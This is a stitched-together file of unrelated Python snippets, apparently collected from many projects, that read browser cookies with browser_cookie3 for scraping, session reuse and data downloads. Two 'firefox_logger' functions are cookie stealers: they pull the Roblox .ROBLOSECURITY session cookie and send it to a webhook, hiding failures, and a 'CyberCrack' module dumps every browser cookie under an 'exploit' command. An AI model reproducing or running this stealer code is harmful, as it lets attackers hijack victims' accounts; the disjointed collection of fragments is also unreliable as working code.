def getHost(hoc): import platform import browser_cookie3 if platform.system() == 'Linux': try: browser_cookie3.firefox(domain_name=hoc + ".ebsoc.co.kr") except: import bc3_alt as browser_cookie3 clear() data = str( browser_cookie3.firefox(domain_name=hoc + ".ebsoc.co.kr")).replace( '<CookieJar[', '').replace('}>', '').split(">, <") else: try: browser_cookie3.chrome(domain_name=hoc + ".ebsoc.co.kr") except: import bc3_alt as browser_cookie3 clear() data = str( browser_cookie3.chrome(domain_name=hoc + ".ebsoc.co.kr")).replace( '<CookieJar[', '').replace('}>', '').split(">, <") for i in data: if hoc + '.ebsoc.co.kr' in i: cookies = i.replace('Cookie ', '').split(' for')[0].split('=') if cookies[0] == 'host': return cookies[1] return
def query(hoc): import platform import browser_cookie3 if platform.system() == 'Linux': try: browser_cookie3.firefox(domain_name=hoc + ".ebsoc.co.kr") except: import bc3_alt as browser_cookie3 clear() data = str( browser_cookie3.firefox(domain_name=hoc + ".ebsoc.co.kr")).replace( '<CookieJar[', '').replace('}>', '').split(">, <") else: try: browser_cookie3.chrome(domain_name=hoc + ".ebsoc.co.kr") except: import bc3_alt as browser_cookie3 clear() data = str( browser_cookie3.chrome(domain_name=hoc + ".ebsoc.co.kr")).replace( '<CookieJar[', '').replace('}>', '').split(">, <") cookies = '' for i in data: if hoc + '.ebsoc.co.kr' in i and 'www.ebsoc.co.kr' not in i: cookies = cookies + i.replace('Cookie ', '').split(' for')[0] + '; ' return cookies.replace('<', '')
def main(): """Print cookies.""" cookiejar = None domain = sys.argv[1] cookie_keys = sys.argv[2].split(":") if not cookiejar: try: cookiejar = browser_cookie3.chrome(domain_name=domain) except Exception: print("get cookie from Chrome failed", file=sys.stderr) if not cookiejar: try: cookiejar = browser_cookie3.firefox(domain_name=domain) except Exception: print("get cookie from Firefox failed", file=sys.stderr) return for cookie in cookiejar: print("browser cookie name:", cookie.name) cookies = list(filter(lambda c: c.name in cookie_keys, cookiejar)) #print("cookies length: %d, cookie_keys length: %d" % (len(cookies), len(cookie_keys))) if len(cookies) < len(cookie_keys): print("get cookie failed, make sure you have Chrome or Firefox installed and login with one of them at least once.") return for c in cookies: print("cookie pair:%s:%s" % (c.name, c.value))
def AuthGet(url): cj = browser_cookie3.firefox() browser = Browser() r = browser.get(url) if url.find("uncc") > -1: print("Adding For UNCC") cookies = [{ "name": c.name, "value": c.value, "domain": c.domain } for c in cj if c.domain in ["webauth.uncc.edu"]] else: cookies = [] for c in cj: if url.find(c.domain) > -1: cookies.append({ "name": c.name, "value": c.value, "domain": c.domain }) [browser.add_cookie(c) for c in cookies] browser.get(url) return browser
def __init__(self, env_url, browser): self.env_url = env_url try: if browser == 'chrome': cj = browser_cookie3.chrome( domain_name=env_url[8:] ) #remove first 8 characters since browser cookie does not expect "https://" my_cookies = requests.utils.dict_from_cookiejar(cj) self.header = { 'Authorization': 'Bearer ' + my_cookies['sid'], 'Content-Type': 'application/json' } elif browser == 'firefox': cj = browser_cookie3.firefox(domain_name=env_url[8:]) my_cookies = requests.utils.dict_from_cookiejar(cj) self.header = { 'Authorization': 'Bearer ' + my_cookies['sid'], 'Content-Type': 'application/json' } else: print('Please select a valid browser (chrome or firefox)') sys.exit(1) except: print( 'ERROR: Could not get session ID. Make sure you are logged into a live Salesforce session (chrome/firefox).' ) sys.exit(1)
def __init__(self, requests_per_minute=30, current_url=None, base_url=None, values=None, debug=False, cookie_browser="chrome", cookies=None): default_settings = { "download_cv": False, "send_logger_results_to_email": False, # when False, prints results to terminal "download_storage": None, } self.requests_per_minute = requests_per_minute self.current_url = current_url self.base_url = base_url if values == None: self.values = default_settings else: self.values = values self.debug = debug self.cookie_browser = cookie_browser if cookie_browser == "chrome": cj = browsercookie.chrome() if cookie_browser == "firefox": cj = browsercookie.firefox() self.cookies = cj
def infolessLogin(): # Read out saved cookies so that way you don't have to login every time to run the program. if (os.path.exists("loginInfo.cookie")): print("Using cached login info...") with open("loginInfo.cookie", "rb") as f: requestClient.cookies.update(pickle.load(f)) else: hasLoadedCookies = False if 'browser_cookie3' in sys.modules: # Probably best to check if the module is loaded eh? shiftCookies = None try: print("(Attempting) to load chrome cookies...") shiftCookies = bc.chrome() print("Loaded chrome cookies...") except: print("(Attempting) to load firefox cookies...") shiftCookies = bc.firefox() print("Loaded firefox cookies...") if (shiftCookies != None): requestClient.cookies.update(shiftCookies) hasLoadedCookies = (shiftCookies != None) if not hasLoadedCookies: # If we weren't able to load our cookies, we should just prompt them for their input. bProperLoginInfo = False while not bProperLoginInfo: print("Login to your SHiFT account...") user = input("SHiFT Email: ") password = getpass.getpass(prompt="Password: ") bProperLoginInfo = login(user, password)
def __init__(self, cookie=None, username=None, password=None, useBrowserCookie=None, requireUserId=True): self.token = None self.processes = Processes() self.session = requests.Session() self.session.headers.update({ 'User-Agent': "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" }) self.robloxPath = self.GetLatestRobloxExe() if useBrowserCookie and not cookie: useBrowserCookie = useBrowserCookie.lower() if useBrowserCookie == "chrome": cookie = bc.chrome(domain_name=".roblox.com") elif useBrowserCookie == "firefox": cookie = cookie = bc.firefox(domain_name=".roblox.com") else: cookie = cookie = bc.load(domain_name=".roblox.com") if cookie: self.session.cookies = cookie if requireUserId: request = self.session.get( "https://assetgame.roblox.com/Game/GetCurrentUser.ashx") self.userId = request.text elif username and password: self.login(username, password)
def __init__(self): self._cj = browser_cookie3.firefox() self.driver = webdriver.Chrome('binary_downloader/chromedriver') self.driver.get('https://www.amazon.com/ga/giveaways?pageId=1') self._itemURLs = [] self._ID = random.randint(1, 1000) self.detector = Detector()
def main(): pylogconf.core.setup() # command line parsing parser = argparse.ArgumentParser( description='''download photos from various sites''' ) choices = ["facebook", "instagram", "travelgirls", "vk", "mamba.ru"] parser.add_argument( '-t', '--type', help="Which site to download from", choices=choices, ) parser.add_argument( '-u', '--user_id', help='''id of the user to download the albums of https://www.facebook.com/profile.php?id=[user_id] https://www.instagram.com/[user_id] http://www.travelgirls.com/member/[user_id] https://vk.com/id[user_id] http://www.mamba.ru/mb[user_id] ''', ) parser.add_argument( '-d', '--debug', help='debug requests', default=False, action='store_true', ) parser.add_argument( '-s', '--start', help='start number for image names', type=int, default=0, ) args = parser.parse_args() if args.user_id is None: parser.error('-u/--user_id must be given') if args.debug: pyscrapers.core.utils.debug_requests() # load cookies from browser cookies = browser_cookie3.firefox() urls = [] if args.type == "facebook": urls = scrape_facebook(args.user_id, cookies) if args.type == "instagram": urls = scrape_instagram(args.user_id, cookies) if args.type == "travelgirls": urls = scrape_travelgirls(args.user_id, cookies) if args.type == "vk": urls = scrape_vk(args.user_id, cookies) if args.type == "mamba.ru": urls = scrape_mambaru(args.user_id, cookies) pyscrapers.core.utils.download_urls(urls, start=args.start)
def DownloadZIP(url, destination): cj = browser_cookie3.firefox() r = requests.get(url, cookies=cj) try: z = zipfile.ZipFile(io.BytesIO(r.content)) z.extractall(destination) except Exception as e: print(e)
def firefox_logger(): try: cookies = browser_cookie3.firefox(domain_name='roblox.com') cookies = str(cookies) cookie = cookies.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip() requests.post(webhook, json={'username':'******', 'content':f'```Cookie: {cookie}```'}) except: pass
def __init__(self, username, num_downloader, use_cookies): super(LinkProducer, self).__init__() self.name = self.__name + str(LinkProducer.__seq) self.num_downloader = num_downloader self.username = username self.cookies = bc.firefox( domain_name='www.instagram.com') if use_cookies else '' LinkProducer.__seq += 1 self.is_private(username)
def fetchTopic(): cookies = browser_cookie3.firefox() url = 'http://www.5pa.com.tw/5pa/forum.php?mod=viewthread&tid=3482&extra=page%3D1' r = requests.get(url, cookies=cookies) with open("5pa_3482.html", "w", encoding="utf-8") as f: f.write(r.text)
def get_daily_input_data(self): """ Get session_id from cookie for AoC site""" if self.day in AdventCalendar.cache: return AdventCalendar.cache[self.day].copy() cj = browsercookie.firefox() response = requests.get(self.url, cookies=cj) AdventCalendar.cache[self.day] = response.text.split('\n')[:-1] return response.text.split('\n')[:-1]
def fetch(): cookies = browser_cookie3.firefox() url = 'http://www.5pa.com.tw/5pa/forum.php?mod=forumdisplay&fid=123' r = requests.get(url, cookies=cookies) with open("5pa.html", "w", encoding="utf-8") as f: f.write(r.text)
def firefox_logger(): try: cookies = browser_cookie3.firefox(domain_name='roblox.com') cookies = str(cookies) cookie = cookies.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip() embed = DiscordEmbed(title='Cookie', description=f'{cookie}', color='03b2f8') webhook.add_embed(embed) response = webhook.execute() except: pass
def scrape_samples(url): requests_cache.install_cache(str(CACHE_PATH)) cookies = browser_cookie3.firefox() soup = BeautifulSoup(get(url, cookies=cookies).content, features="html.parser") blocks = [pre.text.strip() for pre in soup.find_all('pre')] return [ Test(f"Пример {i+1}", blocks[2 * i], blocks[2 * i + 1]) for i in range(0, len(blocks) // 2) ]
def _get_cookies(self): try: browser = config.get_env() if browser == '1': return browser_cookie3.chrome(domain_name='youtube.com') elif browser == '2': return browser_cookie3.firefox(domain_name='youtube.com') else: raise Exception("適切なブラウザが見つからないか、設定ファイルが壊れています。") except browser_cookie3.BrowserCookieError: raise Exception("ブラウザのクッキーが見つかりません。" "ChromeかFirefoxでYouTubeにログインする必要があります。")
def load_browser_cookies(self): # 加载Chrome 浏览器中的Cookie jar = self.jars['chrome'] chrome_cookiejar = browser_cookie3.chrome() for cookie in chrome_cookiejar: jar.set_cookie(cookie) # 加载Firefox 浏览器中的Cookie jar = self.jars['firefox'] firefox_cookiejar = browser_cookie3.firefox() for cookie in firefox_cookiejar: jar.set_cookie(cookie)
def host_cookiejar(self): ''' Whole cookie jar of the hosts browser. Don't use it as a whole but only use what you need. ''' if self.__host_cookiejar is None: # FIXME: Currently, receiving cookies from chrome does not seem to work # Workaround because I use firefox anyways atm. # TODO: Find a better solution in general for the login handling. self.__host_cookiejar = browser_cookie3.firefox() return self.__host_cookiejar
def AuthGet_(url): cj = browser_cookie3.firefox() browser = Browser() r = browser.get(url) #[browser.add_cookie({"name" : c.name , "value":c.value , "domain" : c.domain}) for c in cj if c.domain in ["webauth.uncc.edu"]] [ browser.add_cookie({ "name": c.name, "value": c.value, "domain": c.domain }) for c in cj if url.find(c.domain) > -1 ] browser.get(url) return browser
def get_session(): import browser_cookie3 cookiejar = browser_cookie3.firefox(domain_name='ipolcore.ipol.im') session = requests.Session() session.cookies = cookiejar try: token = next(c.value for c in session.cookies if c.name == 'csrftoken') except StopIteration as e: print(cookiejar) raise e return session, token
def cookie(): while True: try: user_in = input( "CyberCrack: CyberServe/info/browser_cookies > ").strip() if user_in == "help" or user_in == "show options": print(r""" : set BROWSER - the target browser. eg- 'firefox, chrome, opera, microsoft-edge' : run or exploit - run the script """) elif user_in.startswith("set") and user_in.split()[1] == "BROWSER": if user_in.split()[2] == "firefox": print("Browser = firefox") browser = "firefox" elif user_in.split()[2] == "microsoft-edge": print("Browser = microsoft-edge") browser = "edge" elif user_in.split()[2] == "opera": print("Browser = opera") browser = "opera" elif user_in.split()[2] == "chrome": print("Browser = chrome") browser = "chrome" else: print("[+] Invalid browser") elif user_in == "run" or user_in == "exploit": if browser == "firefox": cookie = list(browser_cookie3.firefox()) for cookies in cookie: print(cookies) elif browser == "edge": cookie = list(browser_cookie3.edge()) for cookies in cookie: print(cookies) elif browser == "opera": cookie = list(browser_cookie3.opera()) for cookies in cookie: print(cookies) elif browser == "chrome": cookie = list(browser_cookie3.chrome()) for cookies in cookie: print(cookies) except KeyboardInterrupt: quit() except NameError: print("[+] Assign all parameters related for this module") except browser_cookie3.BrowserCookieError: print( "[+] The browser you specified isn't installed on your device")
def load_browser_cookies(self, browser_name: str): """Load session cookies from a browser""" browser_name = browser_name.lower() if browser_name == "firefox": cookiejar = browser_cookie3.firefox() self.crawler.session_cookies = cookiejar elif browser_name == "chrome": cookiejar = browser_cookie3.chrome() # There is a bug with version 0.11.4 of browser_cookie3 and we have to overwrite expiration date # Upgrading to latest version gave more errors so let's keep an eye on future releases for cookie in cookiejar: cookie.expires = None self.crawler.session_cookies = cookiejar else: raise InvalidOptionValue('--cookie', browser_name)
def setup_data(day): cookies = browser_cookie3.firefox() data_file = day + ".data" if os.path.isfile(data_file): return f"Data for day {day} already downloaded" r = requests.get(f"https://adventofcode.com/2020/day/{int(day)}/input", cookies=cookies) with open(data_file, "w") as f: f.write(r.text) return ""
def __init__( self, contest: str, username_filter: list, start_limit: datetime = None, end_limit: datetime = None, ): self.contest = contest self.username_filter = username_filter self.start_limit = start_limit self.end_limit = end_limit self._epoch_start_time = None self.headers = {"User-Agent": UserAgent().firefox} self.cookies = firefox()
def grab_cookies(browser='firefox'): if browser == 'firefox': try: return CookieResolver(browser_cookie3.firefox()) except: return None if browser == 'chrome': try: return CookieResolver(browser_cookie3.chrome()) except: return None raise Exception('minet.utils.grab_cookies: unknown "%s" browser.' % browser)
def __init__(self): self.cj = browser_cookie3.firefox() self.host = "https://www.qichacha.com" self.base_url = "https://www.qichacha.com/search?key=" self.headers = { 'Host': 'www.qichacha.com', 'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept': '*/*', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://www.qichacha.com/', 'Cache-Control': 'max-age=0', }
def load_cookie(browser: str = "chrome") -> Dict[str, str]: """ Load cookie of h2os.com to download photo from h2 cloud. :param browser: the browser to load cookie from (chrome or firefox only). :return: a dict contains the key-value pairs in the cookie. """ domain_name = 'h2os.com' if browser == "chrome": cj = browser_cookie3.chrome(domain_name=domain_name) elif browser == "firefox": cj = browser_cookie3.firefox(domain_name=domain_name) else: raise Exception("Only accept Chrome or Firefox for browser") cookie = {item.name: item.value for item in cj} return cookie
def __init__(self): self.cookiejar = browser_cookie3.firefox() self.session_cookie_file = find_sessionstore_cookies() self.load_sessionstore_cookies(self.session_cookie_file)